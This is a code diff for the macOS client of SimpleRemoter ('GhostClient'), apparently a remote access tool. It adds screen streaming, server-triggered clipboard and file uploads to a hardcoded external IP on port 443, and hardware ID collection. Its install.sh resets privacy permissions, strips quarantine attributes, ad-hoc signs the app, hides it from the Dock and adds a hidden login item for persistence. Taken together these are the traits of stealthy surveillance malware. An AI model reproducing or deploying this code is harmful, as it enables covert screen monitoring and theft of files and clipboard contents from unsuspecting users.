+                kIOPMAssertionLevelOn,
+                CFSTR("SimpleRemoter - remote desktop session active"),
+                &m_displayAssertionID
+            );
+            if (result == kIOReturnSuccess) {
+                NSLog(@"Display assertion created (ID: %u)", m_displayAssertionID);
+            }
+        }
+
+        // Declare user activity to ensure wake
+        IOPMAssertionID wakeAssertionID = 0;
+        IOPMAssertionDeclareUserActivity(
+            CFSTR("SimpleRemoter - waking display"),
+            kIOPMUserActiveLocal,
+            &wakeAssertionID
+        );
+        if (wakeAssertionID) {
+            IOPMAssertionRelease(wakeAssertionID);
+        }
+
+        // Brief wait for loginwindow to render
+        std::this_thread::sleep_for(std::chrono::milliseconds(500));
+        NSLog(@"Display wake complete");
+    }
+
+    // Initialize CGDisplayStream for efficient capture
+    if (!initDisplayStream()) {
+        NSLog(@"Warning: CGDisplayStream init failed, falling back to legacy capture");
+    }
+
    NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height);
    return true;
 }

+bool ScreenHandler::initDisplayStream()
+{
+    // Create dispatch queue for stream callbacks
+    m_streamQueue = dispatch_queue_create("com.ghost.screenstream", DISPATCH_QUEUE_SERIAL);
+    if (!m_streamQueue) {
+        NSLog(@"Failed to create dispatch queue for display stream");
+        return false;
+    }
+
+    // Stream properties
+    CFMutableDictionaryRef properties = CFDictionaryCreateMutable(
+        kCFAllocatorDefault, 0,
+        &kCFTypeDictionaryKeyCallBacks,
+        &kCFTypeDictionaryValueCallBacks
+    );
+
+    // Request minimum frame interval based on FPS (e.g., 15 FPS = 1/15 sec)
+    int fps = m_maxFPS.load();
+    if (fps <= 0) fps = 15;
+    double interval = 1.0 / (double)fps;
+    CFNumberRef intervalRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberDoubleType, &interval);
+    CFDictionarySetValue(properties, kCGDisplayStreamMinimumFrameTime, intervalRef);
+    CFRelease(intervalRef);
+
+    // Show cursor in stream
+    CFDictionarySetValue(properties, kCGDisplayStreamShowCursor, kCFBooleanFalse);
+
+    // Preserve aspect ratio
+    CFDictionarySetValue(properties, kCGDisplayStreamPreserveAspectRatio, kCFBooleanTrue);
+
+    // Create the display stream with BGRA format
+    __block ScreenHandler* handler = this;
+    m_displayStream = CGDisplayStreamCreateWithDispatchQueue(
+        m_displayID,
+        m_width,
+        m_height,
+        'BGRA',  // Pixel format
+        properties,
+        m_streamQueue,
+        ^(CGDisplayStreamFrameStatus status,
+          uint64_t displayTime,
+          IOSurfaceRef frameSurface,
+          CGDisplayStreamUpdateRef updateRef) {
+            (void)displayTime;
+            (void)updateRef;
+
+            if (status == kCGDisplayStreamFrameStatusFrameComplete && frameSurface) {
+                handler->processIOSurface(frameSurface);
+            } else if (status == kCGDisplayStreamFrameStatusFrameIdle) {
+                // Screen not changed, still notify for FPS timing
+                handler->m_hasNewFrame.store(true);
+                handler->m_surfaceCond.notify_one();
+            } else if (status == kCGDisplayStreamFrameStatusStopped) {
+                NSLog(@"CGDisplayStream stopped");
+            }
+        }
+    );
+
+    CFRelease(properties);
+
+    if (!m_displayStream) {
+        NSLog(@"Failed to create CGDisplayStream");
+        m_streamQueue = nullptr;  // ARC manages dispatch objects
+        return false;
+    }
+
+    // Start the stream
+    CGError err = CGDisplayStreamStart(m_displayStream);
+    if (err != kCGErrorSuccess) {
+        NSLog(@"Failed to start CGDisplayStream: %d", err);
+        CFRelease(m_displayStream);
+        m_displayStream = nullptr;
+        m_streamQueue = nullptr;  // ARC manages dispatch objects
+        return false;
+    }
+
+    NSLog(@"CGDisplayStream started: %dx%d @ %d FPS", m_width, m_height, fps);
+    return true;
+}
+
+void ScreenHandler::cleanupDisplayStream()
+{
+    if (m_displayStream) {
+        CGDisplayStreamStop(m_displayStream);
+        CFRelease(m_displayStream);
+        m_displayStream = nullptr;
+    }
+
+    // ARC manages dispatch objects, just nil the pointer
+    m_streamQueue = nullptr;
+
+    std::lock_guard<std::mutex> lock(m_surfaceMutex);
+    if (m_latestSurface) {
+        CFRelease(m_latestSurface);
+        m_latestSurface = nullptr;
+    }
+}
+
+void ScreenHandler::processIOSurface(IOSurfaceRef surface)
+{
+    // Retain the surface and store it
+    std::lock_guard<std::mutex> lock(m_surfaceMutex);
+
+    if (m_latestSurface) {
+        CFRelease(m_latestSurface);
+    }
+    m_latestSurface = (IOSurfaceRef)CFRetain(surface);
+    m_hasNewFrame.store(true);
+    m_surfaceCond.notify_one();
+}
+
+bool ScreenHandler::captureFromIOSurface(IOSurfaceRef surface, std::vector<uint8_t>& buffer)
+{
+    if (!surface) return false;
+
+    // Lock the surface for CPU read
+    IOSurfaceLock(surface, kIOSurfaceLockReadOnly, nullptr);
+
+    size_t width = IOSurfaceGetWidth(surface);
+    size_t height = IOSurfaceGetHeight(surface);
+    size_t bytesPerRow = IOSurfaceGetBytesPerRow(surface);
+    void* baseAddr = IOSurfaceGetBaseAddress(surface);
+
+    if (!baseAddr || width != (size_t)m_width || height != (size_t)m_height) {
+        IOSurfaceUnlock(surface, kIOSurfaceLockReadOnly, nullptr);
+        return false;
+    }
+
+    // Ensure temp buffer is allocated
+    size_t requiredSize = m_width * 4 * m_height;
+    if (m_tempBuffer.size() != requiredSize) {
+        m_tempBuffer.resize(requiredSize);
+    }
+
+    // Copy from IOSurface to temp buffer (handle different bytesPerRow)
+    size_t dstBytesPerRow = m_width * 4;
+    if (bytesPerRow == dstBytesPerRow) {
+        memcpy(m_tempBuffer.data(), baseAddr, requiredSize);
+    } else {
+        // Row by row copy for different strides
+        uint8_t* src = (uint8_t*)baseAddr;
+        uint8_t* dst = m_tempBuffer.data();
+        for (size_t y = 0; y < height; y++) {
+            memcpy(dst + y * dstBytesPerRow, src + y * bytesPerRow, dstBytesPerRow);
+        }
+    }
+
+    IOSurfaceUnlock(surface, kIOSurfaceLockReadOnly, nullptr);
+
+    // Flip vertically using Accelerate framework (SIMD optimized)
+    vImage_Buffer src = {
+        .data = m_tempBuffer.data(),
+        .height = (vImagePixelCount)height,
+        .width = (vImagePixelCount)width,
+        .rowBytes = dstBytesPerRow
+    };
+    vImage_Buffer dst = {
+        .data = buffer.data(),
+        .height = (vImagePixelCount)height,
+        .width = (vImagePixelCount)width,
+        .rowBytes = dstBytesPerRow
+    };
+
+    vImage_Error err = vImageVerticalReflect_ARGB8888(&src, &dst, kvImageNoFlags);
+    if (err != kvImageNoError) {
+        // Fallback to manual flip
+        for (size_t y = 0; y < height; y++) {
+            memcpy(buffer.data() + (height - 1 - y) * dstBytesPerRow,
+                   m_tempBuffer.data() + y * dstBytesPerRow,
+                   dstBytesPerRow);
+        }
+    }
+
+    return true;
+}
+
 void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
 {
-    if (m_running) return;
+    // If already running, just send TOKEN_BITMAPINFO again
+    // This allows server to create additional dialogs (MFC can open while Web is active)
+    if (m_running) {
+        NSLog(@"ScreenHandler already running, sending TOKEN_BITMAPINFO for new dialog");
+        sendBitmapInfo();
+        return;
+    }

    m_client = client;
    m_clientID = clientID;
    m_running = true;

+    // Display wake was already done in init(), just ensure assertion exists
+    if (m_displayAssertionID == 0) {
+        IOReturn result = IOPMAssertionCreateWithName(
+            kIOPMAssertionTypeNoDisplaySleep,
+            kIOPMAssertionLevelOn,
+            CFSTR("SimpleRemoter - remote desktop session active"),
+            &m_displayAssertionID
+        );
+        if (result == kIOReturnSuccess) {
+            NSLog(@"Display sleep disabled (ID: %u)", m_displayAssertionID);
+        }
+    }
+
    m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
 }

 void ScreenHandler::stop()
 {
    m_running = false;
+
+    // Wake up capture thread if waiting
+    m_surfaceCond.notify_all();
+
    if (m_captureThread.joinable()) {
        m_captureThread.join();
    }
@@ -130,6 +400,13 @@ void ScreenHandler::stop()
        m_h264Encoder->close();
        m_h264Encoder.reset();
    }
+
+    // Release display sleep assertion - allow screen to turn off
+    if (m_displayAssertionID != 0) {
+        IOPMAssertionRelease(m_displayAssertionID);
+        NSLog(@"Display sleep re-enabled (released ID: %u)", m_displayAssertionID);
+        m_displayAssertionID = 0;
+    }
 }

 void ScreenHandler::sendBitmapInfo()
@@ -207,6 +484,125 @@ void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
            }
            break;

+        case COMMAND_SCREEN_SET_CLIPBOARD:
+            // 服务端设置剪贴板: [cmd:1][text:N]
+            if (size > 1) {
+                if (ClipboardHandler::SetTextRaw((const char*)(data + 1), size - 1)) {
+                    NSLog(@">>> Clipboard SET: %zu bytes", size - 1);
+                } else {
+                    NSLog(@"*** Clipboard SET failed");
+                }
+            }
+            break;
+
+        case COMMAND_SCREEN_GET_CLIPBOARD:
+            // 服务端请求剪贴板: [cmd:1][hash:64][hmac:16]
+            // 返回: [TOKEN_CLIPBOARD_TEXT:1][text:N] 或 [COMMAND_GET_FOLDER:1][files]
+            {
+                // 优先检查剪贴板中的文件
+                auto files = ClipboardHandler::GetFiles();
+                if (!files.empty()) {
+                    // 返回 COMMAND_GET_FOLDER + 文件列表（多字符串格式：file1\0file2\0\0）
+                    std::vector<uint8_t> buf;
+                    buf.push_back(COMMAND_GET_FOLDER);
+                    for (const auto& f : files) {
+                        // 文件路径需要转换为 GBK 编码（服务端预期）
+                        std::string gbkPath = FileTransferV2::utf8ToGbk(f);
+                        buf.insert(buf.end(), gbkPath.begin(), gbkPath.end());
+                        buf.push_back(0);  // 每个路径后的 null 终止符
+                    }
+                    buf.push_back(0);  // 结束标记
+                    m_client->Send2Server((char*)buf.data(), buf.size());
+                    NSLog(@">>> Clipboard GET: %zu files", files.size());
+                    break;
+                }
+
+                // 没有文件，返回文本
+                std::string text = ClipboardHandler::GetText();
+                if (!text.empty()) {
+                    std::vector<uint8_t> buf(1 + text.size());
+                    buf[0] = TOKEN_CLIPBOARD_TEXT;
+                    memcpy(&buf[1], text.data(), text.size());
+                    m_client->Send2Server((char*)buf.data(), buf.size());
+                    NSLog(@">>> Clipboard GET: %zu bytes text", text.size());
+                } else {
+                    // 返回空剪贴板
+                    uint8_t empty = TOKEN_CLIPBOARD_TEXT;
+                    m_client->Send2Server((char*)&empty, 1);
+                    NSLog(@">>> Clipboard GET: empty");
+                }
+            }
+            break;
+
+        case COMMAND_GET_FILE:
+            // Server requests file download: [cmd:1][targetDir\0][file1\0file2\0...\0]
+            // Use V2 protocol to upload files
+            {
+                if (size < 3) break;
+
+                // Parse target directory (GBK encoding)
+                const char* ptr = (const char*)(data + 1);
+                const char* end = (const char*)(data + size);
+                std::string targetDirGbk = ptr;
+                std::string targetDir = FileTransferV2::gbkToUtf8(targetDirGbk);
+                ptr += targetDirGbk.length() + 1;
+
+                // Parse file list
+                std::vector<std::string> files;
+                while (ptr < end && *ptr != '\0') {
+                    std::string fileGbk = ptr;
+                    files.push_back(FileTransferV2::gbkToUtf8(fileGbk));
+                    ptr += fileGbk.length() + 1;
+                }
+
+                // 如果没有文件列表，从剪贴板获取
+                if (files.empty()) {
+                    files = ClipboardHandler::GetFiles();
+                }
+
+                if (!files.empty() && !targetDir.empty()) {
+                    NSLog(@">>> COMMAND_GET_FILE: %zu files -> %s", files.size(), targetDir.c_str());
+
+                    // Use V2 protocol to send files
+                    IOCPClient* client = m_client;
+                    std::thread([files, targetDir, client]() {
+                        // Collect all files (expand directories)
+                        std::vector<std::string> allFiles;
+                        std::vector<std::string> rootCandidates;
+
+                        for (const auto& path : files) {
+                            struct stat st;
+                            if (stat(path.c_str(), &st) != 0) continue;
+
+                            if (S_ISDIR(st.st_mode)) {
+                                std::string dirPath = path;
+                                if (dirPath.back() != '/') dirPath += '/';
+                                size_t pos = dirPath.rfind('/', dirPath.length() - 2);
+                                std::string parentPath = (pos != std::string::npos) ? dirPath.substr(0, pos + 1) : dirPath;
+                                rootCandidates.push_back(parentPath);
+                                FileTransferV2::CollectFiles(dirPath, allFiles);
+                            } else {
+                                rootCandidates.push_back(path);
+                                allFiles.push_back(path);
+                            }
+                        }
+
+                        if (allFiles.empty()) {
+                            NSLog(@"*** No files to send");
+                            return;
+                        }
+
+                        std::string commonRoot = FileTransferV2::GetCommonRoot(rootCandidates);
+                        NSLog(@">>> Sending %zu files, root=%s", allFiles.size(), commonRoot.c_str());
+
+                        FileTransferV2::SendFilesV2(allFiles, targetDir, commonRoot, client, g_myClientID);
+                    }).detach();
+                } else {
+                    NSLog(@"*** COMMAND_GET_FILE: no files or empty target");
+                }
+            }
+            break;
+
        default:
            break;
    }
@@ -216,35 +612,67 @@ void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
 {
    m_qualityLevel = level;

+    // TODO: persist to config file if needed
+    (void)persist;
+
    if (level == QUALITY_DISABLED) {
-        NSLog(@"Quality: Disabled");
+        // Disabled mode: keep current settings
+        NSLog(@"Quality: Disabled (keep current)");
        return;
    }

-    // Quality profiles: [FPS, Algorithm]
-    // H264 provides best compression for remote desktop
-    // Note: macOS uses slightly higher FPS than Windows for smoother experience
-    static const int profiles[QUALITY_COUNT][2] = {
-        {5,  ALGORITHM_GRAY},     // Level 0: Emergency (very low bandwidth)
-        {10, ALGORITHM_RGB565},   // Level 1: Low
-        {15, ALGORITHM_H264},     // Level 2: Medium (office work default)
-        {20, ALGORITHM_H264},     // Level 3: Good
-        {25, ALGORITHM_H264},     // Level 4: High
-        {30, ALGORITHM_H264},     // Level 5: Smooth
-    };
-
    if (level >= 0 && level < QUALITY_COUNT) {
-        m_maxFPS.store(profiles[level][0]);
-        m_algorithm.store(profiles[level][1]);
-        NSLog(@"Quality: Level=%d, FPS=%d, Algo=%d", level, profiles[level][0], profiles[level][1]);
+        // Get profile from commands.h (shared with Windows/Linux)
+        const QualityProfile& profile = GetQualityProfile(level);
+
+        // Apply FPS
+        m_maxFPS.store(profile.maxFPS);
+
+        // Apply algorithm (macOS supports all algorithms including H264 via VideoToolbox)
+        m_algorithm.store(profile.algorithm);
+
+        // Update H264 bitrate if applicable
+        if (profile.algorithm == ALGORITHM_H264 && profile.bitRate > 0) {
+            m_h264Bitrate = profile.bitRate * 1000;  // kbps -> bps
+        }
+
+        NSLog(@"Quality: Level=%d (%s), FPS=%d, Algo=%d, BitRate=%d kbps",
+              level,
+              level == QUALITY_ULTRA ? "Ultra" :
+              level == QUALITY_HIGH ? "High" :
+              level == QUALITY_GOOD ? "Good" :
+              level == QUALITY_MEDIUM ? "Medium" :
+              level == QUALITY_LOW ? "Low" : "Minimal",
+              profile.maxFPS, profile.algorithm, profile.bitRate);
    } else {
+        // Adaptive mode (level=-1): server adjusts dynamically
        NSLog(@"Quality: Adaptive mode");
    }
 }

 bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
 {
-    // Create image from display
+    // Try to use IOSurface from display stream (more efficient)
+    if (m_displayStream) {
+        IOSurfaceRef surface = nullptr;
+        {
+            std::lock_guard<std::mutex> lock(m_surfaceMutex);
+            if (m_latestSurface) {
+                surface = (IOSurfaceRef)CFRetain(m_latestSurface);
+            }
+        }
+
+        if (surface) {
+            bool result = captureFromIOSurface(surface, buffer);
+            CFRelease(surface);
+            if (result) {
+                return true;
+            }
+        }
+        // Fall through to legacy method if IOSurface failed
+    }
+
+    // Legacy method: CGDisplayCreateImage (fallback)
    CGImageRef image = CGDisplayCreateImage(m_displayID);
    if (!image) {
        NSLog(@"Failed to capture screen image");
@@ -255,50 +683,59 @@ bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
    size_t height = CGImageGetHeight(image);

    if (width != (size_t)m_width || height != (size_t)m_height) {
-        // Screen resolution changed, need to reinitialize
        CGImageRelease(image);
        NSLog(@"Screen resolution changed: %zux%zu", width, height);
        return false;
    }

-    // Create bitmap context to get raw pixel data
-    CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB();
    size_t bytesPerRow = width * 4;
-
-    // Temporary buffer for top-down BGRA
-    std::vector<uint8_t> tempBuffer(bytesPerRow * height);
+    size_t requiredSize = bytesPerRow * height;
+    if (m_tempBuffer.size() != requiredSize) {
+        m_tempBuffer.resize(requiredSize);
+    }

    CGContextRef context = CGBitmapContextCreate(
-        tempBuffer.data(),
+        m_tempBuffer.data(),
        width,
        height,
        8,
        bytesPerRow,
-        colorSpace,
-        kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little  // BGRA
+        m_colorSpace,
+        kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little
    );

-    CGColorSpaceRelease(colorSpace);
-
    if (!context) {
        CGImageRelease(image);
        NSLog(@"Failed to create bitmap context");
        return false;
    }

-    // Draw image into context
    CGContextDrawImage(context, CGRectMake(0, 0, width, height), image);
    CGContextRelease(context);
    CGImageRelease(image);

-    // Flip vertically (BMP is bottom-up, CGImage is top-down)
+    // Flip vertically using Accelerate framework
+    vImage_Buffer src = {
+        .data = m_tempBuffer.data(),
+        .height = (vImagePixelCount)height,
+        .width = (vImagePixelCount)width,
+        .rowBytes = bytesPerRow
+    };
+    vImage_Buffer dst = {
+        .data = buffer.data(),
+        .height = (vImagePixelCount)height,
+        .width = (vImagePixelCount)width,
+        .rowBytes = bytesPerRow
+    };
+
+    vImage_Error err = vImageVerticalReflect_ARGB8888(&src, &dst, kvImageNoFlags);
+    if (err != kvImageNoError) {
        for (size_t y = 0; y < height; y++) {
-        size_t srcRow = y;
-        size_t dstRow = height - 1 - y;
-        memcpy(buffer.data() + dstRow * bytesPerRow,
-               tempBuffer.data() + srcRow * bytesPerRow,
+            memcpy(buffer.data() + (height - 1 - y) * bytesPerRow,
+                   m_tempBuffer.data() + y * bytesPerRow,
                   bytesPerRow);
        }
+    }

    return true;
 }
@@ -559,10 +996,11 @@ uint8_t ScreenHandler::getCursorTypeIndex()
    // Reuse cursor position from getCursorPosition (called before this)
    CGPoint pos = s_cachedLogicalPos;

-    // Throttle: only check if cursor moved significantly or 100ms elapsed
+    // Throttle: only check if cursor moved significantly or 250ms elapsed
+    // (Accessibility API is expensive, cursor type is just a visual hint)
    uint64_t now = getTickMs();
-    bool posChanged = (fabs(pos.x - lastPos.x) > 5 || fabs(pos.y - lastPos.y) > 5);
-    if (!posChanged && (now - lastCheckTime) < 100) {
+    bool posChanged = (fabs(pos.x - lastPos.x) > 10 || fabs(pos.y - lastPos.y) > 10);
+    if (!posChanged && (now - lastCheckTime) < 250) {
        return cachedIndex;
    }
    lastCheckTime = now;
@@ -635,13 +1073,12 @@ uint8_t ScreenHandler::getCursorTypeIndex()

 void ScreenHandler::captureLoop()
 {
-    NSLog(@"ScreenHandler CaptureLoop started (%dx%d)", m_width, m_height);
+    NSLog(@"ScreenHandler CaptureLoop started (%dx%d)%s", m_width, m_height,
+          m_displayStream ? " [CGDisplayStream]" : " [Legacy]");

    uint8_t currentAlgo = m_algorithm.load();

    // Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display
-    // This matches Windows client behavior: first frame is always raw bitmap,
-    // even in H264 mode. Server needs TOKEN_FIRSTSCREEN to set m_bIsFirst = FALSE.
    sendFirstScreen();

    // Small delay to ensure first frame is processed before H264 stream starts
@@ -650,6 +1087,23 @@ void ScreenHandler::captureLoop()
    while (m_running) {
        uint64_t start = getTickMs();

+        // Wait for new frame from display stream (push model)
+        // This is key optimization: CPU sleeps when screen is static
+        if (m_displayStream) {
+            std::unique_lock<std::mutex> lock(m_surfaceMutex);
+            int fps = m_maxFPS.load();
+            if (fps <= 0) fps = 15;
+            int waitMs = 1000 / fps;
+
+            // Wait for new frame or timeout (maintains FPS even if no change)
+            m_surfaceCond.wait_for(lock, std::chrono::milliseconds(waitMs), [this] {
+                return m_hasNewFrame.load() || !m_running;
+            });
+            m_hasNewFrame.store(false);
+
+            if (!m_running) break;
+        }
+
        uint8_t algo = m_algorithm.load();

        // Check if algorithm changed
@@ -657,18 +1111,14 @@ void ScreenHandler::captureLoop()
            NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
            currentAlgo = algo;

-            // If switching to/from H264, reset encoder
            if (algo == ALGORITHM_H264) {
-                // Starting H264 - will be initialized in sendH264Frame
                sendH264Frame(true);  // First H264 frame is keyframe
            } else if (m_h264Encoder) {
-                // Switching away from H264 - close encoder
                m_h264Encoder->close();
                m_h264Encoder.reset();
-                sendFirstScreen();  // Send full frame for DIFF modes
+                sendFirstScreen();
            }
        } else {
-            // Normal frame
            if (algo == ALGORITHM_H264) {
                sendH264Frame(false);
            } else {
@@ -676,6 +1126,8 @@ void ScreenHandler::captureLoop()
            }
        }

+        // Only use sleep-based FPS control for legacy mode
+        if (!m_displayStream) {
            int fps = m_maxFPS.load();
            if (fps <= 0) fps = 10;
            int sleepMs = 1000 / fps;
@@ -686,6 +1138,7 @@ void ScreenHandler::captureLoop()
                usleep(wait * 1000);
            }
        }
+    }

    NSLog(@"ScreenHandler CaptureLoop stopped");
 }
--- a/macos/install.sh
+++ b/macos/install.sh
@@ -0,0 +1,104 @@
+#!/bin/bash
+# macOS Ghost Client 安装脚本
+# 用法: ./install.sh [ghost路径]
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+GHOST_SRC="${1:-$SCRIPT_DIR/build/bin/ghost}"
+APP_DIR="/Applications/GhostClient.app"
+APP_BIN="$APP_DIR/Contents/MacOS/ghost"
+
+echo "=== GhostClient 安装程序 ==="
+echo ""
+
+# 检查源文件
+if [ ! -f "$GHOST_SRC" ]; then
+    echo "错误: 找不到 $GHOST_SRC"
+    echo ""
+    echo "请先编译: ./build.sh"
+    echo "或指定路径: $0 <ghost可执行文件路径>"
+    exit 1
+fi
+
+echo "源文件: $GHOST_SRC"
+echo ""
+
+set -e
+
+# 1. 停止旧进程
+echo "[1/6] 停止旧进程..."
+pkill -9 -f "$APP_BIN" 2>/dev/null || true
+
+# 2. 重置系统权限（关键步骤！避免权限缓存导致空白桌面）
+echo "[2/6] 重置系统权限..."
+echo "  (这会清除屏幕录制和辅助功能的旧授权，需要重新授权)"
+tccutil reset ScreenCapture 2>/dev/null || true
+tccutil reset Accessibility 2>/dev/null || true
+
+# 3. 创建应用程序包
+echo "[3/6] 创建应用程序..."
+sudo rm -rf "$APP_DIR"
+sudo mkdir -p "$APP_DIR/Contents/MacOS"
+sudo mkdir -p "$APP_DIR/Contents/Resources"
+
+# 复制 ghost 到 app bundle 内部
+sudo cp "$GHOST_SRC" "$APP_BIN"
+sudo chmod +x "$APP_BIN"
+
+# 创建 Info.plist
+sudo tee "$APP_DIR/Contents/Info.plist" > /dev/null << 'EOF'
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+    <key>CFBundleExecutable</key>
+    <string>ghost</string>
+    <key>CFBundleIdentifier</key>
+    <string>com.ghost.client</string>
+    <key>CFBundleName</key>
+    <string>GhostClient</string>
+    <key>CFBundleVersion</key>
+    <string>1.0</string>
+    <key>LSUIElement</key>
+    <true/>
+</dict>
+</plist>
+EOF
+
+# 4. 清除隔离属性
+echo "[4/6] 清除隔离属性..."
+sudo xattr -cr "$APP_DIR"
+
+# 5. 签名应用
+echo "[5/6] 签名应用..."
+sudo codesign --force --deep --sign - "$APP_DIR"
+
+# 6. 添加到登录项（开机自启）
+echo "[6/7] 添加到登录项..."
+osascript -e 'tell application "System Events" to delete login item "GhostClient"' 2>/dev/null || true
+osascript -e 'tell application "System Events" to make login item at end with properties {path:"/Applications/GhostClient.app", hidden:true}' 2>/dev/null && echo "  已添加开机自启" || echo "  添加失败，请手动添加"
+
+# 7. 完成
+echo "[7/7] 安装完成!"
+echo ""
+echo "========================================"
+echo "         下一步: 授权系统权限"
+echo "========================================"
+echo ""
+echo "1. 启动应用 (会自动弹出权限请求):"
+echo ""
+echo "   open /Applications/GhostClient.app"
+echo ""
+echo "2. 授权以下权限 (在系统设置中勾选 GhostClient):"
+echo "   - 屏幕录制: 允许捕获屏幕画面"
+echo "   - 辅助功能: 允许控制鼠标键盘"
+echo ""
+echo "3. 授权后重启应用:"
+echo ""
+echo "   pkill -f GhostClient && open /Applications/GhostClient.app"
+echo ""
+echo "4. 查看日志确认运行状态:"
+echo ""
+echo "   tail -f /tmp/ghost.log"
+echo ""
+echo "========================================"
+echo ""
--- a/macos/lib/libsign.a
+++ b/macos/lib/libsign.a
--- a/macos/main.mm
+++ b/macos/main.mm
@@ -1,16 +1,20 @@
 #import <Cocoa/Cocoa.h>
 #import <sys/sysctl.h>
+#import <sys/stat.h>
 #import <mach/mach.h>
 #import <mach-o/dyld.h>
 #import <pwd.h>
 #import <signal.h>
 #import <unistd.h>
+#import <fcntl.h>
 #import <IOKit/IOKitLib.h>
+#import <IOKit/pwr_mgt/IOPMLib.h>
 #import <fstream>
 #import <thread>
 #import <atomic>
 #import <memory>
 #import <string>
+#import <map>

 #import "../client/IOCPClient.h"
 #define XXH_INLINE_ALL
@@ -19,18 +23,126 @@
 #import "ScreenHandler.h"
 #import "InputHandler.h"
 #import "SystemManager.h"
+#import "../common/PTYHandler.h"
+#import "../common/FileManager.h"
+#import "../common/FileTransferV2.h"
+#import "../common/logger.h"
+#import "ClipboardHandler.h"

 // Global state
 static std::atomic<bool> g_running(true);
+static std::atomic<bool> g_needResendLogin(false);  // 分组变更后需要重发登录信息

 // Client ID (calculated from system info, used by ScreenHandler)
 uint64_t g_myClientID = 0;

+// 服务端身份校验：登录消息（签名输入），登录时间，是否已通过校验
+std::string g_loginMsg;
+time_t g_loginTime = 0;
+bool g_settingsVerified = false;
+
 // 远程地址：当前为写死状态，如需调试，请按实际情况修改
 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };

 State g_bExit = S_CLIENT_NORMAL;

+// ============== Configuration File Functions ==============
+// Config path: ~/.config/ghost/config.conf (same as Linux)
+// Format: key=value (one per line)
+
+static std::string g_configDir;
+static std::string g_configPath;
+static std::map<std::string, std::string> g_configData;
+
+// Initialize config paths
+static void initConfigPaths()
+{
+    if (!g_configDir.empty()) return;  // Already initialized
+
+    const char* home = getenv("HOME");
+    if (!home) {
+        struct passwd* pw = getpwuid(getuid());
+        if (pw) home = pw->pw_dir;
+    }
+    if (!home) home = "/tmp";
+
+    g_configDir = std::string(home) + "/.config/ghost";
+    g_configPath = g_configDir + "/config.conf";
+}
+
+// Recursively create directory
+static void mkdirRecursive(const std::string& path)
+{
+    size_t pos = 0;
+    while ((pos = path.find('/', pos + 1)) != std::string::npos) {
+        mkdir(path.substr(0, pos).c_str(), 0755);
+    }
+    mkdir(path.c_str(), 0755);
+}
+
+// Load all config from file
+static void loadConfig()
+{
+    initConfigPaths();
+    g_configData.clear();
+
+    std::ifstream file(g_configPath);
+    if (!file.is_open()) return;
+
+    std::string line;
+    while (std::getline(file, line)) {
+        size_t eq = line.find('=');
+        if (eq != std::string::npos) {
+            g_configData[line.substr(0, eq)] = line.substr(eq + 1);
+        }
+    }
+}
+
+// Save all config to file
+static void saveConfig()
+{
+    initConfigPaths();
+    mkdirRecursive(g_configDir);
+
+    std::ofstream file(g_configPath, std::ios::trunc);
+    if (!file.is_open()) {
+        NSLog(@"Failed to save config to %s", g_configPath.c_str());
+        return;
+    }
+
+    for (const auto& kv : g_configData) {
+        file << kv.first << "=" << kv.second << "\n";
+    }
+    NSLog(@"Config saved to %s", g_configPath.c_str());
+}
+
+// Get config string value
+static std::string getConfigStr(const std::string& key, const std::string& def = "")
+{
+    auto it = g_configData.find(key);
+    return it != g_configData.end() ? it->second : def;
+}
+
+// Set config string value
+static void setConfigStr(const std::string& key, const std::string& value)
+{
+    g_configData[key] = value;
+    saveConfig();
+}
+
+// Save group name to config file
+static void saveGroupName(const std::string& groupName)
+{
+    setConfigStr("group_name", groupName);
+    NSLog(@"Group name saved: %s", groupName.c_str());
+}
+
+// Load group name from config file
+static std::string loadGroupName()
+{
+    return getConfigStr("group_name");
+}
+
 // ============== System Information Functions ==============

 // Get macOS version string (e.g., "macOS 14.0 Sonoma")
@@ -107,6 +219,54 @@ static std::string getUsername()
    return user ? std::string(user) : "unknown";
 }

+// 读取 IOKit 维护的 IOPlatformUUID（与 Windows MachineGuid 等价）
+// 这是主板/系统级 UUID，由 IOPlatformExpertDevice 服务提供，重装系统通常不变。
+// 对应：Windows HKLM\Software\Microsoft\Cryptography\MachineGuid
+//      Linux  /etc/machine-id
+static std::string getMachineId()
+{
+    std::string result;
+    io_service_t platformExpert = IOServiceGetMatchingService(
+        kIOMasterPortDefault,
+        IOServiceMatching("IOPlatformExpertDevice"));
+    if (platformExpert != IO_OBJECT_NULL) {
+        CFTypeRef uuidProperty = IORegistryEntryCreateCFProperty(
+            platformExpert, CFSTR(kIOPlatformUUIDKey),
+            kCFAllocatorDefault, 0);
+        if (uuidProperty != nullptr) {
+            if (CFGetTypeID(uuidProperty) == CFStringGetTypeID()) {
+                CFStringRef uuidStr = (CFStringRef)uuidProperty;
+                char buf[64] = {};
+                if (CFStringGetCString(uuidStr, buf, sizeof(buf), kCFStringEncodingUTF8)) {
+                    result = buf;
+                }
+            }
+            CFRelease(uuidProperty);
+        }
+        IOObjectRelease(platformExpert);
+    }
+    return result;
+}
+
+// 路径归一化（macOS 版）：解析符号链接 + 转小写
+// realpath 把 /Applications/foo/../bar 之类折回规范形式；
+// 小写化保持与 Windows/Linux 跨端一致。macOS HFS+/APFS 默认大小写不敏感，
+// 转小写不改变文件标识、但避免路径串大小写差异引起 ID 不同。
+static std::string normalizeExePathLower(const std::string& path)
+{
+    char resolved[PATH_MAX] = {};
+    std::string out;
+    if (realpath(path.c_str(), resolved) != nullptr) {
+        out = resolved;
+    } else {
+        out = path;  // 解析失败：用原值
+    }
+    for (auto& c : out) {
+        if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
+    }
+    return out;
+}
+
